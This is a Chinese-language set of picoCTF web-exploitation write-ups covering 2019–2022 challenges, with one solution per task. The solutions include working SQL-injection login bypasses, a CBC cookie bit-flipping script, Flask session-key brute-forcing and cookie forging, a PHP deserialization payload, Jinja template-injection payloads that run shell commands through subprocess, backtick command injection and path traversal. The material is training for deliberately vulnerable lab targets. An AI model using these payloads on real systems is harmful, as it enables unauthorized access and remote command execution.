picoCTF,Web Exploitation,39/45
- 2019 picoCTF
-
- 01、Insp3ct0r,50分
- 02、dont-use-client-side,100分
- 03、logon,100分
- 04、where are the robots,100分
- 05、Client-side-again,200分
- 06、picobrowser,200分
- 07、Irish-Name-Repo 1,300分
- 08、Irish-Name-Repo 2,350分
- 09、Irish-Name-Repo 3,400分
- 2019 picoGym Exclusive
- 2020 Mini-Competition
-
- 01、Web Gauntlet
- 2021 picoCTF
-
- 01、GET aHEAD,20分
- 02、Cookies,40分
- 03、Scavenger Hunt,50分
- 04、Some Assembly Required 1,70分
- 05、More Cookies,90分
- 06、It is my Birthday,100分
- 07、Who are you?,100分
- 08、Some Assembly Required 2,110分
- 09、Super Serial,130分
- 10、Most Cookies,150分
- 11、Some Assembly Required 3,160分
- 12、Web Gauntlet 2,170分
- 13、Some Assembly Required 4,200分
- 14、X marks the spot,250分
- 15、Web Gauntlet 3,300分
- 2021 redpwn
-
- 01、login,100分
- 02、caas,150分
- 03、notepad,250分
- 2022 picoCTF
-
- 01、Includes,100分
- 02、Inspect HTML,100分
- 03、Local Authority,100分
- 04、Search source,100分
- 05、Forbidden Paths,200分
- 06、Power Cookie,200分
- 07、Roboto Sans,200分
- 08、Secrets,200分
- 09、SQL Direct,200分
- 10、Web Gauntlet,200分
- 11、SQLiLite,300分
题目站点链接 https://play.picoctf.org/
最初将所有题解放在一个帖子里,帖子太长了不便于阅读,
为了方便后期编辑和阅读。2023年02月10日,将帖子拆分,按照题目类型分为六类:
picoCTF-General Skills,基本技能类
picoCTF-Cryptography,密码类
picoCTF-Forensics,取证类
picoCTF-Web Exploitation,网页开发类
picoCTF-Reverse Engineering,逆向类
picoCTF-Binary Exploitation,二进制类
下面,给出题解,逐步完善中……
注意:很多题目flag是变化的,每一个账号解题得到的flag不一样,所以,下面帖子里的flag仅供参考,但解题思路方法是一样的。
2019 picoCTF
01、Insp3ct0r,50分
用开发者工具,找资源文件,找到页面的三个文件,html、css、js,每个文件里都有一段
1/3 of the flag: picoCTF{tru3_d3
2/3 flag: t3ct1ve_0r_ju5t
3/3 of the flag: _lucky?f10be399}
拼在一起就行了
picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?f10be399}
02、dont-use-client-side,100分
function verify() {checkpass = document.getElementById("pass").value;split = 4;if (checkpass.substring(0, split) == 'pico') {if (checkpass.substring(split*6, split*7) == '723c') {if (checkpass.substring(split, split*2) == 'CTF{') {if (checkpass.substring(split*4, split*5) == 'ts_p') {if (checkpass.substring(split*3, split*4) == 'lien') {if (checkpass.substring(split*5, split*6) == 'lz_7') {if (checkpass.substring(split*2, split*3) == 'no_c') {if (checkpass.substring(split*7, split*8) == 'e}') {alert("Password Verified")}}}}}}}}else {alert("Incorrect password");}}
客户端函数验证密码,拼起来就行了
picoCTF{no_clients_plz_7723ce}
03、logon,100分
查看cookies,
看到user password,还有admin,把admin赋值TRUE刷新就行了
picoCTF{th3_c0nsp1r4cy_l1v3s_6edb3f5f}
04、where are the robots,100分
找了半天没线索,查了网站,原来有一个后台文件robots.txt,打开后,有一个/8028f.html,每次不一样,这个里面有flag
picoCTF{ca1cu1at1ng_Mach1n3s_8028f}
05、Client-side-again,200分
开发人员工具,查找源文件。
const _0x5a46 = ['0a029}', '_again_5', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {const _0xb4bdb3 = function (_0x1d68f6) {while (--_0x1d68f6) {_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));const _0x4b5b = function (_0x2d8f05, _0x4b81bb) {_0x2d8f05 = _0x2d8f05 - 0x0;const _0x4d74cb = _0x5a46[_0x2d8f05];return _0x4d74cb;
};
# 上面两个函数调整额数组顺序,于是增加了下面的显示语句,看看数组的新顺序
console.log(_0x5a46)
调整后的顺序
'getElementById',
'value',
'substring',
'picoCTF{',
'not_this',
'0a029}',
'_again_5',
'this',
'Password Verified',
'Incorrect password'
然后查看checkpass函数
split = 0x4; 位数比较
if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) { 0,8 picoCTF{
if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') { 7,9 {n
if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) { 8,16 not_this
if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') { 3,6 oCT
if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) { 24,32 0a029}
if (checkpass['substring'](0x6, 0xb) == 'F{not') { 6,11 F{not
if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) { 16,24 _again_5
if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) { 12,16 this
alert(_0x4b5b('0x8')); Password Verified
反向调整位置得到结果
picoCTF{not_this_again_50a029}
06、picobrowser,200分
用burpsuite打开,修改浏览器为‘picobrowser’,就能得到flag了
picoCTF{p1c0_s3cr3t_ag3nt_51414fa7}
07、Irish-Name-Repo 1,300分
到处点一点,有一个管理员入口,用前面的注入方法,用户名和密码,
用户名填:admin'/*
或者 adm'||'in'/*
,密码填:a
。就进入了。
picoCTF{s0m3_SQL_fb3fe2ad}
08、Irish-Name-Repo 2,350分
神仙注入字。用户名填admin' /*
,密码随便写,/*
是注释,后面不起作用
查看源文件就有了
picoCTF{m0R3_SQL_plz_c34df170}
09、Irish-Name-Repo 3,400分
写了 ' or '1'='1
,不行,查了资料,' be '1'='1
,be
是什么意思?' bettween '1'='1
不行,后来又看题目,提示说密码加密了,哈哈!是Caesar密码,移位了。
picoCTF{3v3n_m0r3_SQL_4424e7af}
2019 picoGym Exclusive
2020 Mini-Competition
01、Web Gauntlet
sql注入:主要是两种,用户名填:admin'/*
或者adm'||'in'/*
,密码填:a。生成一下语句/*是注释,后面无效了
SELECT * FROM users WHERE username='admin'/*' AND password='a'
SELECT * FROM users WHERE username='adm'||'in'/* AND password='a'
闯过5关后,查看filter.php,最后有flag
2021 picoCTF
01、GET aHEAD,20分
按照提示,学习研究burpsuite,更改了页面传送方式,原来除了post、get之外,burpsuite强制发送了head发送方式,并解析获得了flag。
研究了一下,以前只知道post、get,
原来除了这两个,还有head、Put、Delete、opions四种很少用到。用下面的Python代码更简单。
import requestsr = requests.head('http://mercury.picoctf.net:21939/')print("Status:\n", r)
print("Headers:\n", r.headers)
print("Content:\n", r.content)
burpsuite的安装配置很麻烦,折腾了很久。Burp Suite 自带浏览器Burp‘s Browser(Chromium)遇到沙盒问题不能启动,研究了很久,解决了,参见我的文章《Burp Suite 自带浏览器Burp‘s Browser(Chromium)沙盒sandbox问题的解决》
picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
02、Cookies,40分
http://mercury.picoctf.net:17781/
检查Cookies 发现有一个name = -1
用浏览器的开发者工具,修改Cookies,关键的地方在图里框出来了。
改一个值,网页上显示的文字就变化了。一个一个试验,到name=18,得到了flag,注意,修改cookie值之后,一定要点“刷新”按钮。
为什么是18,查了别人的题解,才知道的,要不就一个一个试。
写了一段代码,更方便一些……
import requestsmy_cookie = dict()
cook_num = -1
while True:my_cookie['name'] = str(cook_num)print("cookie_name:", cook_num)r = requests.get('http://mercury.picoctf.net:17781/', cookies=my_cookie)headers = r.headerscontent = r.contentpoi = content.find(b'pico')if poi >= 0:print('找到了!')print("Content:\n", content[poi:].decode())breakelse:print('没找到!')cook_num = cook_num + 1
这个代码多少有点投机取巧,
如果需要的cookie值是2000,那不是要等循环很久?
如果需要的cookie值是字母不是数字,就取不到了。
如果返回内容里没有“pico”字样,那也取不到了。
意思一下,理解cookie的原理。
picoCTF{3a16944dad432717ccc3945d3d96421a}
03、Scavenger Hunt,50分
用开发者工具,找资源文件,查找Google系统的隐藏文件,有一行注释
<!– Here’s the first part of the flag: picoCTF{t –>
Here’s part 2: h4ts_4_l0
How can I keep Google from indexing my website?
我怎样才能阻止谷歌为我的网站编制索引?
查了互联网,找到robot.txt文件。
Part 3: t_0f_pl4c
再有.htaccess
Part 4: 3s_2_lO0k
.DS_Store
Part 5: _7a46d25d}
5段合并在一起。
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}
04、Some Assembly Required 1,70分
用开发者工具,查看源代码,warm下,文件的最后一行就有flag。
picoCTF{51e513c498950a515b1aab5e941b2615}
05、More Cookies,90分
看提示,CBC加密,明文分组在加密之前一定会与“前一个密文分组”进行XOR异或运算。
import datetime
import sys
from base64 import b64decode, b64encode
import requestsdef bit_flip(pos, bit, data):raw = b64decode(b64decode(data).decode())list1 = bytearray(raw)list1[pos] = list1[pos] ^ bitraw = bytes(list1)return b64encode(b64encode(raw)).decode()def time_print(t_start, t_end):s = (t_end - t_start).total_seconds()p_time = '页面加载用时:' + str(s) + "秒"return p_timeurl = 'http://mercury.picoctf.net:10868/'
cookie = 'T295NURpYmYzb3FiSnJIRnl3UnpyODUvVGJjbzQ5M3A1Q2hyK1RiamtGNk5hajRsa2lzSExNQVhURGc5aGh1L3BoSUhCV2FxOTRIZzFHOEx6V3plRExwT0RWMEJMTTU3bFNnSkc5MWNPUFNWNGRMSlMxVTlJSE4wUWFQK3ZuVkI='
for position_idx in range(0, 10):for bit_idx in [0, 1]:auth_cookie = bit_flip(position_idx, bit_idx, cookie)print(auth_cookie)cookArr = {'auth_name': auth_cookie}time_s = datetime.datetime.now()r = requests.get(url, cookies=cookArr, timeout=(10, 10))rTxt = r.texttime_e = datetime.datetime.now()ptime = time_print(time_e, time_s)f_poi = rTxt.find("picoCTF{")if f_poi >= 0:print("找到了!!")print('\033[0;31;40m' + rTxt[f_poi:rTxt.find('}', f_poi) + 1] + '\033[0m')print("网址链接是:", url)print("需要注入cooke:", cookArr)sys.exit()print(position_idx, bit_idx, ':', '返回内容长度:' + str(len(rTxt)) + ';', ptime)
06、It is my Birthday,100分
这就是一个坑,我测试了很多文件都不行
查了半天,必须到MD5 Collision Demo网站
https://www.mscs.dal.ca/~selinger/md5collision/,
下载指定的两个文件,然后改名字上传,网页就会跳转。显示一个PHP代码,里面有flag
就是红框的这两个文件
picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}
07、Who are you?,100分
这个就有意思了,练习brupsiut的使用,修改Host、修改User-Agent、Accept-Language……
一步一步的改,最终改成下面的这一段,就可以了
GET / HTTP/1.1
Host: mercury.picoctf.net:1270
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: PicoBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: sv,en;q=0.9
Connection: close
Referer:http://mercury.picoctf.net:1270/
Date: Wed, 21 Oct 2018 07:28:00 GMT
DNT: 1
X-Forwarded-For: 31.3.152.51
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}
08、Some Assembly Required 2,110分
查看开发人员工具,可以看到aD8SvhyVkb
文件
下载这个文件。
用wabt反编译,wabt是专门反编译wasm的。apt install wabt
,
kali系统的APT可以很方便的安装。
反编译:
wasm-decompile aD8SvhyVkb -o aD8SvhyVkb.dcmp
获得文件:
export memory memory(initial: 2, max: 0);global g_a:int = 66864;
export global input:int = 1072;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;table T_a:funcref(min: 1, max: 1);data d_xakgKNsjl9mimkk9880jnnjlu(offset: 1024) =
"xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\00\00";export function wasm_call_ctors() {
}export function strcmp(a:int, b:int):int {var c:int = g_a;var d:int = 32;var e:int = c - d;e[6]:int = a;e[5]:int = b;var f:int = e[6]:int;e[4]:int = f;var g:int = e[5]:int;e[3]:int = g;loop L_b {var h:ubyte_ptr = e[4]:int;var i:int = 1;var j:int = h + i;e[4]:int = j;var k:int = h[0];e[11]:byte = k;var l:ubyte_ptr = e[3]:int;var m:int = 1;var n:int = l + m;e[3]:int = n;var o:int = l[0];e[10]:byte = o;var p:int = e[11]:ubyte;var q:int = 255;var r:int = p & q;if (r) goto B_c;var s:int = e[11]:ubyte;var t:int = 255;var u:int = s & t;var v:int = e[10]:ubyte;var w:int = 255;var x:int = v & w;var y:int = u - x;e[7]:int = y;goto B_a;label B_c:var z:int = e[11]:ubyte;var aa:int = 255;var ba:int = z & aa;var ca:int = e[10]:ubyte;var da:int = 255;var ea:int = ca & da;var fa:int = ba;var ga:int = ea;var ha:int = fa == ga;var ia:int = 1;var ja:int = ha & ia;if (ja) continue L_b;}var ka:int = e[11]:ubyte;var la:int = 255;var ma:int = ka & la;var na:int = e[10]:ubyte;var oa:int = 255;var pa:int = na & oa;var qa:int = ma - pa;e[7]:int = qa;label B_a:var ra:int = e[7]:int;return ra;
}export function check_flag():int {var a:int = 0;var b:int = 1072;var c:int = 1024;var d:int = strcmp(c, b);var e:int = d;var f:int = a;var g:int = e != f;var h:int = -1;var i:int = g ^ h;var j:int = 1;var k:int = i & j;return k;
}function copy(a:int, b:int) {var c:int = g_a;var d:int = 16;var e:int_ptr = c - d;e[3] = a;e[2] = b;var f:int = e[3];if (eqz(f)) goto B_a;var g:int = e[3];var h:int = 8;var i:int = g ^ h;e[3] = i;label B_a:var j:int = e[3];var k:byte_ptr = e[2];k[1072] = j;
}
其中
data d_xakgKNsjl9mimkk9880jnnjlu(offset: 1024) =
"xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu\00\00";
这个看起来就是密文。
然后,Python,做xor
from pwnlib.util.fiddling import xor
fs = b'xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu'
print(xor(fs, 8))
这个做XOR异或运算就得到了flag
用CyberChef/厨师,也可以。
特别注意,这个flag前面有两个英文的空格,两个,英文的,空格。巨坑,试了很久。
picoCTF{ b2d14eaec72c31305075876bff2b5d}
09、Super Serial,130分
打开认证页面authentication.php加一个cookis,
login: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
这个编码是一个函数调用的序列化编码
echo(serialize(new access_log(“…/flag”)));
// -> O:10:“access_log”:1:{s:8:“log_file”;s:7:“…/flag”;}
新建一个php页面跑一下,就有了
<?php
class access_log
{public $log_file;function __construct($lf) {$this->log_file = $lf;}function __toString() {return $this->read_log();}function append_to_log($data) {file_put_contents($this->log_file, $data, FILE_APPEND);}function read_log() {return file_get_contents($this->log_file);}
}echo(serialize(new access_log("../flag")));
?>
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
10、Most Cookies,150分
原来Session传递变量,是cookies的 session值,分为三段。用程序编写一个函数来组合cookies值,替换掉原来的 session值
import requests
from flask.sessions import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.exc import BadTimeSignaturedef flask_cookie(secret_key, cookie_str, operation):salt = 'cookie-session'serializer = TaggedJSONSerializer()signer_kwargs = {'key_derivation': 'hmac','digest_method': hashlib.sha1}s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)if operation == "decode":return s.loads(cookie_str)else:return s.dumps(cookie_str)# The list of possible secret keys used by the app.
possible_keys = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter","whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop","thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie","lebkuchen", "macaron", "black and white", "white chocolate macadamia"]# An encoded cookie pulled from the live application that can be used to guess the secret key.
cookie_str = "eyJ2ZXJ5X2F1dGgiOiJmb3J0dW5lIn0.YnPZew.pT8I7FSUY7rug-pBoi3KlrcMCAM"# For each possible key try to decode the cookie.
secret_key = ''
for possible_secret_key in possible_keys:try:cookie_decoded = flask_cookie(possible_secret_key, cookie_str, "decode")except BadTimeSignature:# If the decoding fails then try the next key.continuesecret_key = possible_secret_key# Break the loop when we have the corret key.breakprint("Secret Key: ", secret_key)# The admin cookie has the `very_auth` value set to `admin`, which can be seen on line 46 of the server.py code.
admin_cookie = {"very_auth": "admin"}
# Encode the cookie used the `SecureCookieSessionInterface` logic.
admin_cookie_encoded = flask_cookie(secret_key, admin_cookie, "encode")print("Admin Cookie:", admin_cookie_encoded)
用计算出来的值替换cookie
picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
11、Some Assembly Required 3,160分
查看开发人员工具,可以看到qCCYI0ajpD
文件
下载文件
file可以识别文件是wasm,但是exiftool不能识别
安装wabt,这个是专门反编译的。apt install wabt
反编译
wasm-decompile qCCYI0ajpD -o qCCYI0ajpD.dcmp
获得以下代码:
export memory memory(initial: 2, max: 0);global g_a:int = 66864;
export global input:int = 1072;
export global key:int = 1067;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;table T_a:funcref(min: 1, max: 1);data d_nAcdbf1a(offset: 1024) ="\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4""\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";export function wasm_call_ctors() {
}export function strcmp(a:int, b:int):int {var c:int = g_a;var d:int = 32;var e:int = c - d;e[6]:int = a;e[5]:int = b;var f:int = e[6]:int;e[4]:int = f;var g:int = e[5]:int;e[3]:int = g;loop L_b {var h:ubyte_ptr = e[4]:int;var i:int = 1;var j:int = h + i;e[4]:int = j;var k:int = h[0];e[11]:byte = k;var l:ubyte_ptr = e[3]:int;var m:int = 1;var n:int = l + m;e[3]:int = n;var o:int = l[0];e[10]:byte = o;var p:int = e[11]:ubyte;var q:int = 255;var r:int = p & q;if (r) goto B_c;var s:int = e[11]:ubyte;var t:int = 255;var u:int = s & t;var v:int = e[10]:ubyte;var w:int = 255;var x:int = v & w;var y:int = u - x;e[7]:int = y;goto B_a;label B_c:var z:int = e[11]:ubyte;var aa:int = 255;var ba:int = z & aa;var ca:int = e[10]:ubyte;var da:int = 255;var ea:int = ca & da;var fa:int = ba;var ga:int = ea;var ha:int = fa == ga;var ia:int = 1;var ja:int = ha & ia;if (ja) continue L_b;}var ka:int = e[11]:ubyte;var la:int = 255;var ma:int = ka & la;var na:int = e[10]:ubyte;var oa:int = 255;var pa:int = na & oa;var qa:int = ma - pa;e[7]:int = qa;label B_a:var ra:int = e[7]:int;return ra;
}export function check_flag():int {var a:int = 0;var b:int = 1072;var c:int = 1024;var d:int = strcmp(c, b);var e:int = d;var f:int = a;var g:int = e != f;var h:int = -1;var i:int = g ^ h;var j:int = 1;var k:int = i & j;return k;
}function copy(a:int, b:int) {var c:int = g_a;var d:int = 16;var e:int_ptr = c - d;e[3] = a;e[2] = b;var f:int = e[3];if (eqz(f)) goto B_a;var g:int = 4;var h:int = e[2];var i:int = 5;var j:int = h % i;var k:ubyte_ptr = g - j;var l:int = k[1067];var m:int = 24;var n:int = l << m;var o:int = n >> m;var p:int = e[3];var q:int = p ^ o;e[3] = q;label B_a:var r:int = e[3];var s:byte_ptr = e[2];s[1072] = r;
}
编写python代码:
enc_flag = b'\x9d\x6e\x93\xc8\xb2\xb9\x41\x8b\x90\xc2\xdd\x63\x93\x93\x92\x8f\x64\x92\x9f\x94\xd5\x62\x91\xc5\xc0\x8e\x66\xc4\x97\xc0\x8f\x31\xc1\x90\xc4\x8b\x61\xc2\x94\xc9\x90\x00\x00'
key = b'\xf1\xa7\xf0\x07\xed'flag = ''
for i in range(len(enc_flag)):dec = enc_flag[i] ^ key[4 - i % 5]flag += chr(dec)print(flag)
运行得到结果:
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}
12、Web Gauntlet 2,170分
这是一个SQL注入的题目。明确表示,过滤Filters: or and true false union like = > < ; -- /* */ admin
于是,用户名填 admi' || 'n
, 密码填 ' GLOB '*
组合成SQL 'select user= 'admi' || 'n ' and passwd='' GLOB '* ';
注意:GLOB是通配符。
成功后,
再看filter.php,内容变了,最下面有一行注释是flag
<?php
session_start();if (!isset($_SESSION["winner2"])) {$_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");if ($win === 0) {$filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");if ($view) {echo "Filters: ".implode(" ", $filter)."<br/>";}
} else if ($win === 1) {if ($view) {highlight_file("filter.php");}$_SESSION["winner2"] = 0; // <- Don't refresh!
} else {$_SESSION["winner2"] = 0;
}// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>
picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
13、Some Assembly Required 4,200分
开发人员工具,导出内存文件文件,ZoRd23o0wd
完整链接是:http://mercury.picoctf.net:6755/ZoRd23o0wd
它是一个WebAssembly(简称wasm)是一个虚拟指令集体系架构(virtual ISA),整体架构包括核心的ISA定义、二进制编码、程序语义的定义与执行,以及面向不同的嵌入环境(如Web)的应用编程接口(WebAssembly API)。其初始目标是为C/C++等语言编写的程序经过编译,在确保安全和接近原生应用的运行速度更好地在Web平台上运行。
Python的Wasmtime组件导入wam文件可以运行,然后用代码来获取内存比对信息,从而获得FLAG
# !/usr/bin/python3
import string
import itertools
from wasmtime import Store, Module, Instancestore = Store()
module = Module.from_file(store.engine, "ZoRd23o0wd")
instance = Instance(store, module, [])exports = instance.exports(store)
memory = exports["memory"]
check_flag = exports["check_flag"]def init_flag(pair):for i in range(len(flag)):memory.data_ptr(store)[1072 + i] = ord(flag[i])for j in range(len(flag_so_far)):memory.data_ptr(store)[1072 + 8 + j] = ord(flag_so_far[j])memory.data_ptr(store)[1072 + 8 + len(flag_so_far)] = ord(pair[0])memory.data_ptr(store)[1072 + 8 + len(flag_so_far) + 1] = ord(pair[1])def print_test_flag():g = ''for j in range(1072, 1072 + 8 + 2 + len(flag_so_far)):g = g + chr(memory.data_ptr(store)[j])print(g)def count_match():count = 0while memory.data_ptr(store)[1024 + count] == memory.data_ptr(store)[1072 + count]:count = count + 1return countflag = "picoCTF{}"
flag_chars = string.ascii_lowercase + "_" + string.digits + "}\x00"
flag_so_far = ""
for i in range(17):for j in itertools.product(flag_chars, repeat=2):init_flag(j)check_flag(store)if count_match() >= 10 + len(flag_so_far):flag_so_far += (j[0] + j[1])print("picoCTF{" + flag_so_far)break
picoCTF{a4dfbd29e50d01f1a513903dfceda44c}
14、X marks the spot,250分
sql注入,测了一下,只有中间一段能改变测字,然后,查了资料,很多奇怪的命令,然后用
string-length(//user[position()=3]/pass)=4
测长度,用
substring(//user[position()=3]/pass,i,1)= letter
测字符,一个一个测。
防止系统中断,测到的一节一节写到程序里。
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}
15、Web Gauntlet 3,300分
用户名填 admi' || 'n
, 密码填 ' GLOB '*
组合成SQL select user= 'admi' || 'n ' and passwd='' GLOB '* ;
注意:GLOB
是通配符
成功后,再看filter.php
,内容变了,最下面有一行是flag
神仙注入语句,屡试不爽……
picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
2021 redpwn
01、login,100分
分析java代码,有一句很重要
return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
把cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ取下来
用base64解码
picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}
02、caas,150分
这个是一个牛说话,``符号包括命令,可以运行。
注意是键盘左上角的波浪号的键 ` ,
还有服务器把flag写成了falg,可能是故意增加难度的。
给一个完整的示例:
https://caas.mars.picoctf.net/cowsay/{`ls`}
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}
03、notepad,250分
题目是一个记事本页面,几乎给了全部代码,从代码分析,给一个error值,页面就会显示值,并调用error页面。
找了一个程序,专门注入用的程序。
send 就可以注入
import html
import re
from cmd import Cmd
from pathlib import Path
from urllib.parse import urlparseimport requestsBASE_URL = "https://notepad.mars.picoctf.net"
START_MARKER = "###START###"
END_MARKER = "###END###"class MyPrompt(Cmd):def __init__(self):Cmd.__init__(self)self.marker_regex = re.compile(f"{START_MARKER}(.*){END_MARKER}")def do_exit(self):return Truedef do_send(self, data):split_data = data.split(" ")payload = split_data.pop(0)params = "&" + split_data.pop(0) if split_data else ""file_url = "..\\templates\\errors\\".ljust(128, 'a')data = {"content": f"{file_url}\n{START_MARKER}{payload}{END_MARKER}"}r = requests.post(f"{BASE_URL}/new", data=data)if "?error=" in r.url:print(f"Error: Redirected to {r.url}")returnnew_file_name = Path(urlparse(r.url).path).stemr = requests.get(f"{BASE_URL}?error={new_file_name}{params}")match = self.marker_regex.search(r.text)r_text = html.unescape(match.group(1))print(r_text)MyPrompt().cmdloop()
然后注入输入send {{request}}
返回页面连接
一步一步注入,找到subprocess.Popen类。这是一个子进程类,可以运行很多命令。
用ls
列出目录,用cat
查看。
主要的注入语句如下:
send {{request[request.args.p1][request.args.p2][11][request.args.p3]()[273](['ls'],stdout=-1).communicate()}} p1=__class__&p2=__mro__&p3=__subclasses__
send {{request[request.args.p1][request.args.p2][11][request.args.p3]()[273](['cat','flag-c8f5526c-4122-4578-96de-d7dd27193798.txt'],stdout=-1).communicate()}} p1=__class__&p2=__mro__&p3=__subclasses__
前面还有一些查找过程,列出来,有助于理解过程。
send {{request[request.args.p1]}} p1=__class__
send {{request[request.args.p1][request.args.p2]}} p1=__class__&p2=__mro__
send {{request[request.args.p1][request.args.p2][11]}} p1=__class__&p2=__mro__
send {{request[request.args.p1][request.args.p2][11][request.args.p3]()}} p1=__class__&p2=__mro__&p3=__subclasses__
send {{request[request.args.p1][request.args.p2][11][request.args.p3]()[273]}} p1=__class__&p2=__mro__&p3=__subclasses__
picoCTF{styl1ng_susp1c10usly_s1m1l4r_t0_p4steb1n}
2022 picoCTF
01、Includes,100分
用开发者工具,查看源文件,就找到了,css文件和js文件。
picoCTF{1nclu51v17y_1of2_f7w_2of2_b8f4b022}
02、Inspect HTML,100分
查看源文件就找到了,html文件
picoCTF{1n5p3t0r_0f_h7ml_fd5d57bd}
03、Local Authority,100分
查看源文件,密码验证段落写了密码
picoCTF{strongPassword098765}
04、Search source,100分
用httrack下载所有文件,或者用wget也行。
wget -r -p -k -nc /webttt saturn.picoctf.net:61941/
生成一个saturn.picoctf.net_61941
或者saturn.picoctf.net+61941
文件夹
搜索picoCTF 字样,
grep -r picoCTF 目录
在style.css文件中找到flag
windows系统下搜索要打开文件内容
picoCTF{1nsp3ti0n_0f_w3bpag3s_8de925a7}
05、Forbidden Paths,200分
目录结构问题,输入../../../../flag.txt
,就可以了,
/usr/share/nginx/html/
这个目录有四层,
4次退到上一层目录,就到根目录了
picoCTF{7h3_p47h_70_5ucc355_e5a6fcbc}
06、Power Cookie,200分
查看cookie,有一个admin=0,改成admin=1就行了
picoCTF{gr4d3_A_c00k13_0d351e23}
07、Roboto Sans,200分
做过的,又忘记了,robot文件是robots.txt,打开后如下:
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/
其中:anMvbXlmaWxlLnR4dA==
是编码,用CyberChef
解码后得到js/myfile.txt
,
就是这个文件
picoCTF{Who_D03sN7_L1k5_90B0T5_032f1c2b}
08、Secrets,200分
查了网上资料,一层一层的目录,中间还有一个登录界面,我用sql注入试了一下。
最后还是目录结构。
http://saturn.picoctf.net:49917/secret/hidden/superhidden/
看不见怎么办??
白底白字,查看源文件,或者,用鼠标选择,就行了
按 Ctrl+A就行了
picoCTF{succ3ss_@h3n1c@10n_790d2615}
09、SQL Direct,200分
这是一个数据库,试了一下,密码就是用户名,登录后,用select 几个表,有一个user,有一个flags,然后就有了
picoCTF{L3arN_S0m3_5qL_t0d4Y_21c94904}
10、Web Gauntlet,200分
sql注入:主要是两种,用户名填:admin'/*
或者 adm'||'in'/*
,密码填:a
。生成语句/*
是注释,后面无效了
SELECT * FROM users WHERE username='admin'/*' AND password='a'
SELECT * FROM users WHERE username='adm'||'in'/* AND password='a'
闯过5关后,查看filter.php,最后有flag
picoCTF{y0u_m4d3_1t_cab35b843fdd6bd889f76566c6279114}
11、SQLiLite,300分
测试了一下,如果sql注入成功,就没有出错信息。找了一个admin试一下
用户名填admin' /*
,密码随便写,/*
是注释,后面的不起作用。页面显示如下:
username: admin' /*
password:
将生成slq
SQL query: SELECT * FROM users WHERE name='admin' /* ' AND password=''
页面显示:Logged in! But can you see the flag, it is in plainsight.
查看源文件就有了
picoCTF{L00k5_l1k3_y0u_solv3d_it_ec8a64c7}